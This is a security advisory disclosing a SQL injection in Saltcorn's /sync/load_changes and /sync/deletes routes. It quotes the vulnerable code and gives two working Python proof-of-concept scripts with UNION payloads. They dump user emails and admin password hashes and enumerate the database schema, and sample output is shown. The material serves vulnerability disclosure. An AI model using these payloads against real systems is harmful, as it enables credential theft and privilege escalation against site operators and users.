GHSA-jp74-mfrx-3qvh

Summary

Saltcorn's mobile-sync routes (POST /sync/load_changes and POST /sync/deletes) interpolate user-controlled values directly into SQL template literals without parameterization, type-casting, or sanitization. Any authenticated user (role_id ≥ 80, the default "user" role) who has read access to at least one table can inject arbitrary SQL, exfiltrate the entire database including admin password hashes, enumerate all table schemas, and—on a PostgreSQL-backed instance—execute write or DDL operations.

Details

Vulnerable code paths

Primary: packages/server/routes/sync.js — getSyncRows() function

// Line 68 — maxLoadedId branch (no syncFrom)
where data_tbl."${db.sqlsanitize(pkName)}" > ${syncInfo.maxLoadedId}
// Line 100 — maxLoadedId branch (with syncFrom)
and info_tbl.ref > ${syncInfo.maxLoadedId}

syncInfo is taken verbatim from req.body.syncInfos[tableName]. There is no parseInt(), isFinite(), or parameterized binding applied to maxLoadedId before it is embedded into the SQL string passed to db.query().

db.sqlsanitize() is used elsewhere in the same query to quote identifiers (table and column names) — a correct use — but is never applied to values, and would not prevent injection anyway because it only escapes double-quote characters.

Variant H1-V2: packages/server/routes/sync.js — getDelRows() function (lines 173–190)

// Lines 182-183 — syncUntil and syncFrom come from req.body.syncTimestamp / syncFrom where alias.max < to_timestamp(${syncUntil.valueOf() / 1000.0})   and alias.max > to_timestamp(${syncFrom.valueOf() / 1000.0})

syncUntil = new Date(syncTimestamp) where syncTimestamp comes from req.body. The resulting .valueOf() / 1000.0 is still interpolated as a raw numeric expression.

Route handler: lines 113–170 (/load_changes)

router.post(
  "/load_changes",
  loggedIn,           // <-- only authentication check; no input validation
  error_catcher(async (req, res) => {
    const { syncInfos, loadUntil } = req.body || {};
    ...
    // syncInfos[tblName].maxLoadedId is passed directly into getSyncRows

PoC

Please find the attached script to dump the user's DB using a normal user account.

Dumping users table

#!/usr/bin/env python3
import requests
import json
import re
BASE = "http://localhost:3000"
EMAIL = "ccx@ccx.com"
PASSWORD = "Abcd1234!"
s = requests.Session()
print("[*] Fetching login page...")
r = s.get(f"{BASE}/auth/login")
match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text)
csrf_login = match.group(1)
print("[*] Logging in...")
r = s.post(f"{BASE}/auth/login", json={"email": EMAIL, "password": PASSWORD, "_csrf": csrf_login})
print("[*] Extracting authenticated CSRF token...")
r = s.get(f"{BASE}/")
match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text)
csrf = match.group(1)
print("[*] Dumping users...")
payload = "999 UNION SELECT 1,email,password,CAST(role_id AS TEXT),CAST(id AS TEXT) FROM users--"
body = {"syncInfos": {"notes": {"maxLoadedId": payload}}, "loadUntil": "2030-01-01"}
headers = {"CSRF-Token": csrf, "Content-Type": "application/json"}
r = s.post(f"{BASE}/sync/load_changes", json=body, headers=headers)
if r.status_code == 200:
    print(json.dumps(r.json(), indent=2))
else:
    print(f"Failed: {r.status_code}")

Output:

(dllm) dllm@dllm:~/Downloads/saltcorn/artifacts/scripts$ python poc_h1_sqli_minimal.py
[*] Fetching login page...
[*] Logging in...
[*] Extracting authenticated CSRF token...
[*] Dumping users...
{
  "notes": {
    "rows": [
      {
        "_sync_info_tbl_ref_": "1",
        "_sync_info_tbl_last_modified_": "admin@admin.com",
        "_sync_info_tbl_deleted_": "$2a$10$BiEwZkMIpaBrj5yySQhbVuObOp5bpPpfxZYZDtV.VCTv.UxfI7o.6",
        "id": "1",
        "owner_id": "1"
      },
      {
        "_sync_info_tbl_ref_": "80",
        "_sync_info_tbl_last_modified_": "ccx@ccx.com",
        "_sync_info_tbl_deleted_": "$2a$10$B0WWDy27n1H5D6M0.drOfOlCfp39jcsmk2Ueopx6R3SUwDV/ii0Hm",
        "id": "80",
        "owner_id": "2"
      }
    ],
    "maxLoadedId": "80"
  }
}

Dumping schema

Use the following script below to dump the schema: 

#!/usr/bin/env python3
import requests
import json
import re
BASE = "http://localhost:3000"
EMAIL = "ccx@ccx.com"
PASSWORD = "Abcd1234!"
s = requests.Session()
print("[*] Fetching login page...")
r = s.get(f"{BASE}/auth/login")
match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text)
csrf_login = match.group(1)
print("[*] Logging in...")
r = s.post(f"{BASE}/auth/login", json={"email": EMAIL, "password": PASSWORD, "_csrf": csrf_login})
print("[*] Extracting authenticated CSRF token...")
r = s.get(f"{BASE}/")
match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text)
csrf = match.group(1)
print("[*] Enumerating database schema...")
payload = "999 UNION SELECT 1,name,type,CAST(sql AS TEXT),NULL FROM sqlite_master WHERE type='table'--"
body = {"syncInfos": {"notes": {"maxLoadedId": payload}}, "loadUntil": "2030-01-01"}
headers = {"CSRF-Token": csrf, "Content-Type": "application/json"}
r = s.post(f"{BASE}/sync/load_changes", json=body, headers=headers)
if r.status_code == 200:
    print(json.dumps(r.json(), indent=2))
else:
    print(f"HTTP {r.status_code}: {r.text[:500]}")

Output:

(dllm) dllm@dllm:~/Downloads/saltcorn/artifacts/scripts$ python poc_h1_schema_enum.py 
[*] Fetching login page...
[*] Logging in...
[*] Extracting authenticated CSRF token...
[*] Enumerating database schema...
{
  "notes": {
    "rows": [
      {
        "_sync_info_tbl_ref_": "CREATE TABLE \"notes\" (id integer primary key, owner_id INTEGER)",
        "_sync_info_tbl_last_modified_": "notes",
        "_sync_info_tbl_deleted_": "table",
        "id": "CREATE TABLE \"notes\" (id integer primary key, owner_id INTEGER)",
        "owner_id": null
      },
<SNIP>
    "maxLoadedId": "CREATE TABLE users (\n      id integer primary key,      \n      email VARCHAR(128) not null unique,\n      password VARCHAR(60),\n      role_id integer not null references _sc_roles(id)\n    , reset_password_token text, reset_password_expiry timestamp, \"language\" text, \"disabled\" boolean not null default false, \"api_token\" text, \"_attributes\" json, \"verification_token\" text, \"verified_on\" timestamp, last_mobile_login timestamp)"
  }
}

Impact

• Confidentiality: CRITICAL — Attacker reads the entire database: all user credentials (bcrypt hashes), configuration secrets including scconfig, all user-created data, and the full schema.
• Integrity: CRITICAL — On PostgreSQL the same endpoint can execute INSERT/UPDATE/DELETE/DROP. On SQLite, multiple-statement injection may be possible depending on driver configuration.
• Availability: CRITICAL — Attacker can DROP tables or corrupt the database.
• Scope: Changed — Any authenticated user (role_id=80) can access admin-tier data and beyond.
• Privilege escalation — Admin password hashes are exfiltrated; offline cracking of weak passwords grants admin access.